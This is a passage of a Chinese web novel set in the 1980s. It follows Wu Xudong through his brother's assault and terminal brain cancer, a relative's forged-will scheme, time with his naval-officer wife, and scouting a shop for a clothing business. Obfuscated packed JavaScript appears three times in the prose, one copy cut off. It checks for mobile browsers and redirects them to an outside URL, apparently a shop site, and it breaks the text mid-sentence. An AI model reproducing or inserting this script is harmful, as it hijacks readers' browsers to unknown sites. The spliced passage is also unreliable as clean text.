她真的气死了,只能拿吴燕西出气:“你这个废物,你说你想办法把欠条偷出来烧掉的呢?你骗我,你骗我!” 吴燕西没办法啊,他爸把欠条藏起来了,没找着。 只能撒谎道:“这不关我的事,是小姨出的主意。欠条也是小姨收着的。” “那你不早说!”顾蔓蔓彻底恼了,对着吴燕西拳打脚踢,像个疯子。 吴燕西忍了一会儿,没想到她变本加厉,直接把他搡在土堆上,又是拽又是推的,害他吃了一嘴的泥。 下意识推了顾蔓蔓一把,没想到这下彻底激怒了顾蔓蔓,抓起铁锨的手柄,对着他的脑门就是一下子,嘴里骂骂咧咧的:“你敢打我,反了天了你,你敢打我!” 气头上没忍住,多拍了几下子。 等顾蔓蔓回过神来的时候,吴燕西已经没动静了。 脑袋歪在一旁,鲜血糊了一脸。 吓得她踉跄着从土堆旁爬起来,趁着夜色沉沉,溜之大吉。 李宏进半夜过来查看情况,见到头破血流的吴燕西,吓了一跳,赶紧把人扛起来送去了医院。 * 翌日清晨。 吴旭东是被大姑叫醒的。 “东东,快起来,你大哥出事了。”吴国秀刚买了包子回来,一到家门口,就看到了两个警察。 一问才知道是吴燕西进医院了。 吴旭东不想去,翻了个身继续睡。 吴国秀无奈,只好叫上吴国正,先去把医药费交了。 吴旭东又睡了半个多小时才起来,洗漱,换衣服,叫上隆哥和小柯,去手表厂核账。 半路想起来大姑的房本还抵押在厂里,只得临时改道去了医院。 吴燕西还没醒,脑子里有淤血,要做手术,需要家属签字。 吴国正正在签署手术知情书。 其中有一份输血申请单,以防手术中出现什么意外。 看到吴旭东,吴国正不禁老泪纵横:“你哥要是死了,我怎么跟你妈交代啊。” “交代什么?肯定是顾蔓蔓打的,报警抓人啊。”吴旭东没看到顾蔓蔓,已经猜到了什么。 一旁的警察正好要了解情况,便让吴旭东做了笔录。 不过这么一来,他自己也有嫌疑。 警察叮嘱道:“你这几天不要离开北京,随传随到。” 吴旭东没做亏心事,不怕的。 应道:“我住我大姑吴国秀家,你们可以随时来找我。” 说着他扫了眼输血申请单,不禁好奇:“B型血?爸你什么血型?” “我A型啊。”吴国正诧异,“怎么了?” “我也是A型,我妈呢?”吴旭东心里的怀疑更强烈了。 吴国正道:“你妈是AB型。咱们爷俩都输不了血的,让医院准备吧。” 哦,吴旭东没再说什么。 他爸妈这样的血型,生出A型和B型的都有可能,还有可能是AB型的。 也许是他想多了。 他没空等吴燕西做手术,等吴国正签完字,他便领着大姑去了厂里。 核完账,他问大姑:“知道我这个情况该交多少税吗?” “这我还真不知道。”吴国秀不清楚这算不算经营所得,干脆领着他,去了趟税务部门。 这种特殊情况,目前还没有明确的法律条文,所以工作人员商量了一下,最后按照偶然所得,缴纳百分之二十就行。 交完税出来,吴国秀拍拍吴旭东的肩膀:“好样的,这样做事才走得长远,走,看看你哥手术怎么样了。” 到了医院,却见吴国正还守在手术室门口。 看到小儿子,他彻底撑不住了,哭道:“完了,医生说你大哥脑子里有个瘤,还不知道是良性的还是恶性的。这下完了,真的完了,你大哥要是有个三长两短,我怎么跟你妈妈交代啊。” 41. 家人(二更) 医生怀疑吴燕西得的是脑癌。 为了化验,等结果,吴旭东不得不在北京多耽误几天。 他倒不是关心吴燕西,而是怕他老子一把年纪跑来跑去的吃不消。 等待的时间里,他让大姑带他去看望了那几个热心帮忙的叔叔阿姨。 吴国秀自己还吊着膀子,却一点也没有抱怨。 赶紧带着他一家一家的上门拜访。 吴旭东买了些补品,又给那些帮忙的叔叔阿姨每个人包了两千块的红包。 结果谁也不肯收,反倒是怨怪道:“你这孩子,给钱就太见外了,你大姑以前也没少帮我们呀,街坊邻里的,都是应该的。” 吴旭东想把钱推回去,最后是吴国秀开了口:“既然叔叔阿姨们心疼你,那就收着吧,以后逢年过节的,多来看看他们就好。” “就是,以后常来家里坐坐就好。”这些叔叔阿姨瞧着吴旭东一表人才,又是吴国秀的小侄子,怎么可能要钱。 只拉着他关心了一下生活和工作的问题。 走的时候,吴旭东默默回头,一一记下了他们的街道和门牌号。 等以后赚了大钱,他会再来的。 今天就不客套了,先攥着钱把事业做起来。 几天后,吴燕西确诊了脑癌晚期。 医生建议保守治疗,让他好好走完人生的最后一段时间。 可是这也太让人意外了,才三十三岁啊。 怎么就癌症晚期了呢? 即便吴国秀不喜欢吴燕西,也难以接受这样的事实。 如果有别的机会的话,还是要试试的。 她赶紧问道:“不是可以放化疗吗?” “可是放化疗会很痛苦,而且……他已经晚期了,弄不好会加速死亡。”医生尽力了,恶性肿瘤是医学界的难题,爱莫能助。 吴国秀只能追出去:“医生,那他还能活多久啊?” 主治医生不肯回答,吴国秀再三追问,他才回道:“乐观一点的话,一年左右吧。” 那不乐观呢? 也许几个月就没了。 吴国秀沉默了。 回到病房,她默默地叹了口气。 她这个国正弟弟,真是倒霉啊。 十七年前丢了小儿子,好不容易小儿子回来了,大儿子却命不久矣,哎。 吴旭东倒是没什么感觉。 怎么说呢,这个哥哥对他真的不怎么样,所以,死不死活不活的,他并不在乎。 吴燕西自己也知道了。 不免痛哭一场。 马上中秋了,然而,明年的中秋满月,他估计是看不到了。 哭过之后,他问:“爸,蔓蔓呢?” “你还惦记着她呢?她把你打成了这个样子,也不送你来医院,直接跑了!这种女人要了做什么,回去赶紧离婚!”吴国正气死了,都这个时候了还惦记着那个女人,真是没出息。 吴燕西沉默了很久,最终抬起头来,看向了吴国正:“爸,那天夜里的事,只有我,蔓蔓和东东三个人在场。蔓蔓打我的铁锨东东也是摸过的,我要是一口咬定了是东东打的我,他是洗不干净的。” “吴燕西,你知不知道你在说什么!”吴国正气得浑身发抖,他怎么生了这么一个儿子,他造了什么孽啊! 气得他想揍一揍这个不孝子。 吴燕西叹了口气:“爸,我这么说,只是想息事宁人。我也想让警察把蔓蔓抓了,可是这么一来,超男和亚男长大了就找不到好工作了。与其这样,不如我们各退一步。我什么都不争了,只希望你帮我把超男和亚男养大成人,至于东东,到底是我弟弟,我不会攀咬他的。四合院你爱给谁就给谁吧。” 吴国正听得懂! 什么狗屁不争了,这分明是威胁! 潜台词就是说,如果他不答应,那就一起倒霉。 吴国正气得脑瓜子嗡嗡响,身体跟着踉跄起来,怕是要脑溢血。 吓得吴旭东赶紧托住他:“爸,别生气,要相信警察的刑侦能力,不是他想怎么说警察就怎么信的。” “好,好,爸不气,爸还没看到你跟子琰有孩子呢,爸会好好活着。”吴国正平复了一下心情,考虑再三,还是不想放过顾蔓蔓。 她把他的儿子打成了这样,还想逍遥法外? 没门儿。 他去找警察了解情况,警察已经完成了现场勘探。 根据铁锨手柄上提取的指纹,再结合事发现场的打斗痕迹,排除了吴旭东的嫌疑。 最后确定嫌疑人为顾蔓蔓。 这两天没来,是在等医院的伤情鉴定,这样才能判断需不需要逮捕顾蔓蔓。 现在吴燕西的诊断结果出来了,脑癌显然不是顾蔓蔓造成的,其他的伤势鉴定为轻伤二级。 可是警察来后,吴燕西一口咬定,是他自己不小心撞到了铁锨,跟吴旭东和顾蔓蔓都无关。 警察像是在看傻子,提醒道:“同志,劝你三思,做假.证也是要坐牢的。” 吴燕西认命了。 警察再问他什么,他只能乖乖配合。 虽然这是家庭矛盾引发的伤人事件,可是事发后,顾蔓蔓误以为吴燕西死了,不但没有把吴燕西送医,反而直接逃离了现场。 所以警方综合考虑后,对顾蔓蔓展开了通缉,同时向她的户籍所在地发去了协查函。 吴燕西得知后,气得差点昏迷过去。 完了,两个女儿的前途都完了。 这些警察怎么回事,一点家务事,就上升到这个程度,真是多管闲事。 他好气,可是这事由不得他。 这下惨了,初步估计,蔓蔓的刑期在一年左右。 等她出来了,他差不多也死了。 两个孩子要倒大霉,想想就觉得命运不公。 吴燕西哭天抹泪,发挥他胡搅蛮缠的功力,要吴国正保证,一定会把两个孩子养大,这才收拾收拾,准备回去了。 这下李宏进傻眼了,这算什么事儿啊。 吴燕西两口子可是他请来捣乱的啊,结果没捣成吴旭东的乱,反倒是一个癌症晚期,快死了,一个畏罪潜逃,失踪了。 “这个吴旭东,是有点狗屎运在身上的。”他跟十四少在家里喝酒,唉声叹气。 “那就听天由命吧,我要是你,我就不再帮你姐夫了,有这功夫,不如去巴结巴结吴旭东,说不定还能带你一起发财。”十四少一向比较务实。 反正这个假遗嘱胜算不大。 李宏进沉默了,他也想这样。 然而他早就把自己的路堵死了。 只能再问问有没有别的办法。 十四少直接提醒他:“这几天我可是帮你打听过了,这个吴旭东的老婆,很厉害,年纪轻轻已经是副营级的军官了。他老婆还有个大表哥,法院的。你自己好好掂量掂量吧,总之,我要是你,我会直接去抱吴国秀吴旭东的大腿。反正都是看人脸色吃饭,看谁不是看。” 十四少走后,李宏进默默拿出那几张假遗嘱。 试试吧,万一呢。 总之,先去把黑胡子欠他的钱要回来吧,疏通关系怎么着不得花钱啊,他手里的存款不够了。 他赶紧去了趟昌平,那里有个地下赌博场。 黑胡子叫葛铁牛,五十多岁,满脸横肉,一看就不是好惹的。 最明显的特征,便是嘴唇旁边有一颗硕大的黑痣,上面长了一根又黑又长的胡须。 所以人称黑胡子。 这是个赌博惯犯,手里一紧,就来找他借钱。 零零总总,两三千是有的。 他找到黑胡子,要钱。 黑胡子最近手气好,先还了一千,再多却没有了。 气得李宏进直骂娘。 黑胡子冷笑道:“能给你一千就不错了,真要是把老子逼急了,谁也别想好过。” 李宏进沉默了,他把钱数数清楚。 思来想去,还是提了个醒:“你还不知道吧,吴国正的那个小儿子,就是当初让你弄死的那个,回来了。你小心他找到你,跟你拼命。” 黑胡子有点意外:“怪了,他没被王大柱打死啊?” “当然没有!当初我姐夫叫你弄死他你不听,非要卖了换钱,现在好了,他把我姐夫坑进去坐牢了。你且等着吧,早晚找到你头上。”李宏进也不催钱了,扭头就走。 黑胡子一把拽住李宏进,问了问那个孩子最近的情况。 见李宏进不吭声,黑胡子只好把剩下的一千多也还了。 李宏进这才开口:“周中擎知道吧?” “提他做什么?”黑胡子明显想起什么不好的回忆,脸色变得非常难看。 李宏进乐了:“你也有怕的人啊。我就这么跟你说吧,那小子现在跟周中擎是一家人了。你自己掂量掂量,啊。” “草!他成周中擎女婿了?”黑胡子显然没想到,事情居然会发展成这样。 他急了,终于急了。 李宏进翻了个白眼,数了数钱,一分不少,准备走人。 黑胡子却拉住了他:“你等等!” 李宏进蹙眉:“干嘛?” “给我两百买车票。”黑胡子抢了两张回来,“别这么小气,五五年那会儿,要不是我老婆在医院里帮忙,那孩子——” 不等黑胡子说完,李宏进赶紧捂住他的嘴巴,又抽了三张一百的给他,小声道:“你给我闭嘴吧祖宗,赶紧走!算我求你了。” 黑胡子心满意足:“这还差不多。暂时别跟我联系了,对你对我都好。” 李宏进求之不得。 等他一走,黑胡子赶紧收拾收拾,去西南边境,投奔兄弟。 * 吴旭东回来了。 去了北京半个多月,赚了九万多块钱,除去分给谢昌隆和柯有钱的,还缴纳了将近两万的税款,最后净得五万多。 挺好,完全是意外收获。 城中村的拆迁还得拉扯一阵子,他可以先开个服装店,让谢昌隆跟柯有钱照看一二。 谢昌隆沉默寡言,但是细心,可以负责进货上货,账目也可以交给他管。 柯有钱活泼热情,是个话痨,特别适合做销售。 剩下楚劲雄,暂时按兵不动,继续帮他盯着城中村拆迁的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚劲雄点点头:“是军人,在潜艇上呢,下水去了,暂时不在家。有机会会见到的。不过你要想好了,到底是叫嫂子还是叫姐,反正我是叫姐,你们随意。” “那……那我跟你学吧。”柯有钱就没见过这么执着的女人,这报纸上最早的时间可是十七年前的啊。 天哪,太有毅力了。 叫声姐也是应该的。 于是等吴旭东换完衣服出来,柯有钱立马蹦出一声“姐夫好”。 吴旭东笑了:“等会到了我老丈人家里,都给我规矩点,别乱看乱摸。” “得令!”柯有钱来了个稍息立正,像模像样的,笑死人了。 到了周家门口,吴旭东却觉得有点不对劲。 他来之前打过电话的,可是现在却没有人来应门。 吴旭东总觉得怪怪的,拿起大哥大,给周子琛去了个电话:“家里没出什么事吧?” 周子琛不知道啊,安慰道:“姐夫,我姐经常会有突发任务,有时候正休息呢,忽然就要去部队,或者有时候忽然就回来了,这都是正常的。因为他们在水下,什么情况都有可能发生。所以你别急,爸妈可能去接她了,你再等等看。” 又等了十来分钟,果然看到周子琰回来了。 她跟老安走在前头,母女俩有说有笑的,周中擎跟在后头,手里提着大包小包的东西,有新鲜菜蔬,有水果饮料,还有零食,啤酒。 看得出来,应该是一起出去买东西了。 周子琰说着说着,忽然加快了脚步。 她看着将近一个月没见的心上人,笑着走上前来,抓起吴旭东的手,塞了把钥匙给他:“给,刚配的,爸妈说了,以后你想带朋友过来就自己开门,不用提前打招呼。” 吴旭东紧紧握着钥匙,什么话也说不出来。 她塞给他的哪里是什么钥匙,分明就是一罐子蜜糖,齁甜。 也不管三个兄弟都在看着他,一把抱住周子琰:“你怎么提前回来了,敲门没人应,吓死我了。” “动力设备出了点问题,提前上浮了,我明天下午就得回去。”周子琰任由他紧紧地抱着。 等他腻歪够了,这才提醒道:“爸妈手上拎着东西呢,快开门吧,正好试试这个钥匙配得好不好。” 吴旭东却不肯自己开,非要握着她的手,一起。 他们给他钥匙,不就是想让他的兄弟们看看,他在这里不是客人,而是真正的一份子吗? 他是他们的家人。 所以,他要跟周子琰一起开,因为有她才有这个家。 开了门,两人相视一笑,邀请朋友们进来,一起商量商量开店和收购服装厂的事。 柯有钱都看傻眼了,没见过这么好的女人,又漂亮,又大气,东哥好福气啊。 忍不住一个劲的跟谢昌隆嘀咕:“咱东哥好人有好报,看着吧,以后肯定发大财。” 正说说笑笑,安正则来了。 他带着一个律师朋友,过来详细了解一下四合院那边的情况。 “放心,法律虽然还有很多不完善的地方,但是只要你的手续合法合规,这件事吴家栋他们就赢不了。”安正则给他吃了个定心丸。 吴旭东赶紧把大姑给他的举报材料拿出来,交给安正则把关。 42. 开业(1) 安正则把材料带走了,没有在这里吃饭。 他是个大忙人,抽空过来一趟已经很不容易。 周子琰跟吴旭东把他和律师送到楼下。 上来的时候,周子琰问道:“这个四合院,你很想要?” “嗯。”吴旭东图的不是钱。 在他找不到家人的十七年里,他最怕的就是家人的放弃和遗忘。 现在他回来了,却不是因为吴家人的努力和寻觅,他多少是有些伤心的。 诚然,他们有各种不得已,他们依旧对他念念不忘,只是没有或者没办法付诸行动。 可是人就是这么矛盾。 理解归理解,不耽误他失望和寒心。 然而爷爷奶奶的遗嘱,给了他一丝温暖。 没想到在这个世界上,还有这么一对老夫妻,临终前依旧执着的相信他会回来,甚至在遗嘱上留下了他的名字。 这比什么口头的想念和惦记都有用。 这是真真切切的行动——有了这样的遗嘱,总会有人想办法把他找回来吧,哪怕只是为了继承这座四合院呢。 爷爷奶奶临终前,大概就是这样想的。 这一星半点的暖,足够让他对吴家的人重新燃起希望。 所以这四合院,他想要,而且,他会想尽一切办法,拿回来。 周子琰没意见,只是担心他的安全,提醒道:“以后再去北京,带上你这几个兄弟。” 哪怕服装店开业后少赚点钱,也不能拿性命冒险。 吴旭东明白,他紧紧地握住周子琰的手:“放心,我有数。” 回到家里,一群人吃吃喝喝,吴旭东两杯酒下肚,便醉了,倒在沙发上呼呼大睡。 楚劲雄等人不好意思久留,吃饱后便告辞了。 周子琰开车送他们回去:“小楚,你带隆哥和小柯去职工楼住着,等小东明天醒了,再给你们三个安排个长期的住处。” “放心吧姐,我们都是成年人,自己会安排的,不用麻烦你们了。”楚劲雄没敢喝太多酒,怕耽误事。 这会儿红光满面的,精神还挺好,意识也清醒,看起来是个有分寸的。 周子琰很快回来,俯身在沙发前,一手托着吴旭东的脖子,一手准备去搭他的腿。 看这姿势,是想来个公主抱,把吴旭东送到次卧去休息。 没想到吴旭东直接醒了。 一把摁住周子琰的手,眼中是狡黠的笑:“琰琰,我没醉。” ……周子琰笑了:“你装的?” “你难得回来,我要陪你,下次再陪他们喝。”吴旭东也是没办法,带兄弟来的时候可不知道自己老婆回来了。 既然老婆回来了,那他肯定要多陪陪老婆,一解相思之苦。 装醉就是最好的办法,可以让那三个家伙主动离开。 周子琰开心得很:“哎呦,谁家的小东这么聪明呀?哦,我家的。” 听听,这点小事都要夸一夸他。 真要命,这个女人,太坏了。 吴旭东没忍住,勾住她的脖子就是一口。 老两口从厨房洗了碗出来,只当没看见,默默的回自己卧室去了。 不过,虽然老丈人丈母娘体贴周到,吴旭东却不好意思在这里放肆。 想想还是跟周子琰回了小公寓。 房子不大,但是不需要顾虑什么。 拉上窗帘,想怎么闹腾就怎么闹腾,多自在。 浴室里水汽蒸腾。 周子琰给他搓背:“你这段时间是不是没有涂祛疤膏?” “没顾上。”吴旭东忙着赚钱,确实把这事给忘了,他有些惭愧,“以后一定天天涂,不让咱爸妈的心血白费。” “他们又托人从意大利带了什么护肤精油,估计这两天就到了,到时候你记得涂。”周子琰一点也不嫌弃他的伤疤。 不过爸妈费尽心思托人弄了好东西来,肯定还是希望看到效果的。 那是长辈的一片心意,辜负了多可惜。 吴旭东明白,摁住她的手:“别搓了,我给你搓。” 再搓就撑不住了。 虽然在浴室里腻歪也不错,可是水汽太大,他看不清周子琰的脸。 他喜欢观察心上人的反应,一点点摸索。 也想跌进心上人蒙着雾气的眸子里,一起沉沦。 虽然他的风湿还是没好,虽然,大概率还是心上人多多辛苦一点。 但他脸皮够厚。 洗完澡,回到卧室,终于可以一解相思之苦。 事后周子琰让他趴着,给他涂祛疤膏,带着一丝责备:“风湿膏也没贴吧?” 要不然怎么一点效果都没看到。 吴旭东笑着耍赖皮:“治不好才好呢,我可以偷懒。” “好哇你,臭不要脸。”周子琰笑了,其实她想偷懒也偷不了,她精力旺盛,习惯了主动。 吴旭东笑着亲吻她的手背:“要脸怎么追到老婆。” “……”周子琰不说话了,涂完让他翻面,“翘嘴东,这面糊了,翻过来。” “遵命周指导。”吴旭东又皮了,想起一个事儿,问道,“今年国庆你们有什么活动吗?” “一些小活动,没什么特别的。对了——”周子琰停下手里的动作,提前给他做个心理准备。 吴旭东意识到有重要的事情要说,直接坐了起来:“怎么了?你要出任务?” “明年有建国四十周年大阅兵,参加阅兵的要提前半年进驻阅兵村,过阵子就要开始选人了。我要是选上了,明年你有半年时间看不到我。”周子琰其实是很想去的。 那多光荣。 能选上的话再好不过了。 一辈子的回忆呢。 吴旭东自然明白。 对于军人来说,这可是千载难逢的机会。 忍不住把她拽到怀里,紧紧圈住她的腰身,下巴搭在她肩上,声音里满是鼓励:“加油琰琰,半年而已,我受得了。” 周子琰贴了贴他的脸颊:“嗯。明天我去医院复查,尽早把病治好,你也抓紧时间戒烟,等明年阅兵结束,我就打申请,早点生个孩子,这样我不在家的时候,起码有人陪陪你。” “女兵备孕也要打报告吗?”吴旭东对这个安排没有意见,只是好奇,“男兵应该不需要吧?” “男兵不需要,因为不是他们怀,生不生的不影响他们训练和出任务。女兵不一样,如果要备孕,日常的安排就要做调整,技术的岗位好一点,调整不大,只要把日常训练取消就行了,算是一种保护吧。”要不然,怀着孕还去训练,孩子流了算谁的。 吴旭东明白了,好在现在计划生育,生一个就行了。 他老婆只需要打一次申请就行。 真希望怀个女儿,一定跟周子琰一样活泼可爱。 他有些好奇:“你对男女有什么偏好吗?” “没有,生下来是什么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728736|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么呗。”周子琰笑着把他摁回床上,“躺好了,祛疤膏还没涂完呢。” 其实他不想再涂了,要不然,又被勾起来了。 果然…… 算了,既然忍不住,那就不忍了。 这么好的老婆,不多腻歪腻歪,多可惜。 * 第二天周子琰睡到中午才醒。 食物的香味勾起腹中馋虫,她赶紧下床洗漱。 一大桌子好菜正等待她的宠幸。 吃完饭,两人一起去了医院,可喜,病情有所好转。 坚持吃药,估计一两年的时间可以治愈。 周子琰放心了,总归要有个自己的孩子才好。 人生路漫漫,可以多一些欢笑和喜悦。 上了车,她问吴旭东:“跟我回大院吗?” “你不下水了?”吴旭东还没来得及问这事,昨晚光顾着腻歪了。 周子琰开车,往小公寓驶去:“暂时不去了,动力设备维修复杂,十天半个月都有可能。这几天我都留在岛上,不过不能回来跟爸妈团圆过中秋。” “那我跟你去,白天我回来看看他们。”吴旭东已经很开心了,原以为这个中秋看不到老婆呢。 现在这样,已经是意外之喜。 不过,既然回岛上,那还是要给院子里的邻居带点东西。 就听丈母娘的,买些零嘴给孩子们吧, 周子琰没意见,只是提醒他:“跟小楚他们说一声,回头找不到你干着急。” “放心吧,他们手里有钱,自己会找乐子,不需要我事无巨细。”吴旭东回了公寓,便把账本递给她,“他们三个一人一万,所得税交了将近两万,我自己还剩四万多,加上之前卖修车铺的,咱家现在有二十来万存款。” “不用跟我说这些,我还能不信你吗?”周子琰把账本合上,还给了吴旭东,认真道,“小东,咱们俩在一起,从来不是为了钱。你记住了,只要你不做违法乱纪的事,就不需要跟我交代什么。赚多赚少我都不问,你自己把握。不过,如果你赔了,需要家里支持,你一定要开口,不要找外面的人借钱,更不要碰高利贷。” “不讲道理,凭什么我赚了就不说,赔了却要找家里帮忙。”吴旭东不高兴了。 他想让她知道,他努力赚钱,都是为了这个家,而不是为了他自己。 所以,赚了钱,他要让家里人知道,还会给家里人买东西。 他要尽最大的努力,给家人最好的,最最最好的。 周子琰明白,宽慰道:“傻瓜,你不懂我的意思,我是不想给你任何压力。人生在世,钱财都是身外之物,有你这个人才是最重要的,明白吗?” 可他还是臭着脸,不说话。 周子琰哭笑不得,抓起他的手,夸赞道:“好好好,我错了。我家小东赚了大钱,我高兴得很。那,我喜欢漂亮裙子大别墅,你要努力给我买哦。” “这还差不多!”吴旭东高兴了,“周子琰,你记住了,我的一切都是你的,钱多钱少,都是你的。以后我让你收下你就收,不许说教,真讨厌。” “好哇,这才结婚几天,就开始讨厌我了,看我怎么收拾你!”两人打打闹闹的,又腻歪了一回。 回到岛上的时候,已经快到饭点了。 吴旭东把糖果蜜饯送给院子里的孩子们,赶紧去做饭。 第二天一早便回了城里,叫上三个臭皮匠,跟他一起,给服装店选址去了。 43. 开业(2)(二更) 吴旭东不喜欢蛮干。 “今天不着急选定地址,先做个市场调查,看看哪里有旺铺转让,再看看哪些货好卖。”他给三个臭皮匠发布任务。 谢昌隆没有意见,让他做什么就做什么。 柯有钱却是个话痨,感慨道:“原来开店这么麻烦的吗?” 楚劲雄到底是个大学生,观念上更容易向吴旭东靠拢,便解释道:“那当然了,总不能瞎开吧,要是经营不善,倒闭了,那不是亏大了。现在好多国营的单位都出现了危机,咱们一定要认真研究地段和人流量的影响,尽可能选个省心一点的铺面开店。” “没错。”吴旭东铺开手里的地图,四个人一边啃包子,一边在桑塔纳里研究起来。 目前全市人员最集中的分别是老城区,新城区,大学城,以及工业园区。 吴旭东的老丈人家和他爸妈家离得不远,都在新城区。 这里有不少港商投资建设的楼盘,配套都很现代化,电梯房居多,住着比老小区舒服多了。 大学城就在附近,坐公交车过去半个多小时。 新城区向北,则是工业园区。 这三个区域连在一起,正好占据了整个城市的东半边版图。 老城区在西边偏中间的位置,政府机构和一些国营老厂都在一起扎堆,跟西北角的杂居区相连。 是以火车站为辐射中心的城中村群落,不少进城务工的外来人员,或者本地混得不好的闲散人员,都在那一片生活。 顾蔓蔓家也在那里。 附近有不少的茶楼麻将馆,整个生活节奏懒散安逸,一点进取的精气神都看不到。 “不过这里人多啊,比东边三个区加起来的人都多。”柯有钱比较天真,觉得人多就是王道,所以他倾向于去西城区转转。 吴旭东摇头。 拿出一份铁路和高速线路图。 楚劲雄秒懂:“还是放弃老城区吧。” “为什么?”柯有钱不懂,难道东城区有什么玄机? 楚劲雄指了指铁路和高速线路:“据我所知,规划中的高速公路不准备从火车沿线走了,因为那里刁民太多,拆迁困难太大,所以有风声传出来,说是公路要走东边。” 可以想象,一旦真的这么做了,这个城市就会出现两个运输中心,一个是以火车站为运力的庞大的务工集散中心,一个则是以高速公路为运力的庞大的物流集散中心。 吴旭东虽然学的不是城市规划,但是结合邻省的铁路和高速线路图,他非常笃定,高速走东城区的话,会更容易带动整个城市发展起来。 而且随着科技的发展,一旦铁路提速,很有可能废弃现在的铁路,选择走城东。 原因倒是简单——城西的地质不好,容易爆发泥石流等地质灾害,而城东是岩石地基,地面上没有什么山体沟壑,而且整体土层密实均匀,最适合建设一些高速铁路公路。 楚劲雄自己就是土木工程的,当然懂得这里头的门道。 于是他跟柯有钱解释了一下。 柯有钱恍然大悟:“怪不得现在用人单位都喜欢招大学生呢,你们两个懂的就是多啊。” 楚劲雄笑了:“一般一般,卖弄了。” 既然放弃了城西,那就在城东的三个区转转就行。 两天后,四人从十个还算不错的待选店铺里筛除了不合适的几家,最后剩下三家,做进一步的考察。 “工业园居民小区门口的那家,我觉得不错。”柯有钱最是简单直接,“这家地方大,五间门头呢。” “我也觉得这家不错。”楚劲雄积极发挥八卦精神,已经把这家情况打听清楚了,“老板娘因为丈夫在深圳包工程,养了小三,气不过,要把店铺关了,寸步不离的去深圳守着男人。因为着急转让,所以价格上愿意退让。” “五间门头,有点太大了。”吴旭东不想一下子步子迈得太大,他还得留点钱收购服装厂。 楚劲雄只好换一个推荐:“那就大学城旁边的这家理发店吧,三间门头,大小适中。” “这个我知道!不过这家有问题啊。”柯有钱积极表现,解释道,“店主去了趟澳门,回来后亏得底裤都不剩了,只能把店铺卖了,因为着急还钱,所以也愿意在价格上优惠一二,可是这家店铺的产权有纠纷。他说是他自己的,可他兄弟说是爸妈给的,兄弟家也有份,目前他兄弟拦着不让卖,还不知道到底要扯皮到什么时候。” 吴旭东露出赞许的目光:“产权的问题确实要弄清楚,小柯辛苦了。” “那就新城区的麻将铺吧。”谢昌隆难得开口。 这个楚劲雄也知道,抢答道:“这家价钱最优惠。因为上个月的麻将纠纷,出了人命官司,老板迷信,觉得风水不好,准备转让。价格比市场价低了不少,手续齐全,产权分明,唯一的不好就是里面真的死了人。” 吴旭东摇头:“新城区做生意的多,迷信的也多,不容易做起来。” 不过…… 如果真的没有人接手,他到时可以买下来,空置在那里等以后拆迁。 因为这个店铺所在的街道,位置太好了。 如果他是做城市规划的,他肯定会把汽运站建在这附近。 如果将来拆迁了,那不就赚了。 总之,吴旭东把这家店铺列入了潜力投资计划。 不过这么一来,到底选哪家呢? 三个臭皮匠全都看着吴旭东,指望他拿主意呢。 吴旭东思来想去,还是决定看看大学城的这家。 “理由呢?”楚劲雄不太懂,这家产权有问题啊。 吴旭东点了根烟:“等我接手服装厂,我准备做时装,只赚年轻人的钱。大学城就是最好的试验场,在这里开个店,做个开路先锋,正合适。不过这家店铺确实问题很大。不急,实在不行,再看看附近有没有别的人家转让店铺。” 说完,他便带上楚劲雄,开车去找这家店主的兄弟谈谈,至于柯有钱跟谢昌隆,则负责去家装市场看看。 毕竟店铺接过来要装修的,货比三家,选些经济实惠又好用的装修材料可以省不少钱。 到了地方,那理发店的两兄弟还在打架。 难分难解。 吴旭东跟楚劲雄迎上去,一个人摁住一个,一下就把兄弟俩扯开了。 分工合作,各个击破——楚劲雄去稳住店主,吴旭东去做店主兄弟的工作。 反正他身上有类似的问题,有了共同话题,就容易找到共情点,也许对方态度就不会那么强硬了。 对方是个高高瘦瘦的北方人,叫陈兴邦,建国初期,父母南下支援建设,所以举家搬迁到了这里。 这房子是他父母买的,后来有了更好的去处,便搬走了。 房子便被他大哥霸占,做起了理发店。 果然,陈兴邦一听说吴旭东的情况,反过来劝起了吴旭东:“你这大哥太缺德了,难怪他年纪轻轻就得了脑癌!报应!” 吴旭东递了根黄鹤楼给他:“兄弟,所以我也劝你,与其跟你大哥争这点蝇头小利,不如跟我混。管保你挣个十套八套的回来,气不死你大哥。” 陈兴邦有些动容,问道:“你的意思是,开了服装店,让我帮忙看店?” “不,我兄弟看店,过阵子我要收购服装厂,你跟我到厂里去。”吴旭东不会一下就把服装店交给不熟悉的人管理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728910|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过可以先带陈兴邦去服装厂历练历练。 陈兴邦乐了:“那感情好啊,我老婆就是服装厂的,好几个月没发工资了,真头疼。说是货物积压,卖不出去。我就纳了闷儿了,这年头居然会有衣服卖不出去?” “我见过,款式太老,不思进取,正常。你要是愿意,可以帮我跑跑下面的小县城,把衣服卖到那边去,实在不行还可以跑跑农村。”反正时尚的风潮想刮到小乡村还早。 陈兴邦有些心动:“行,我考虑考虑。” 反正他那破单位也是半死不活的,他估计也待不下去了。 正好跟吴旭东诉诉苦。 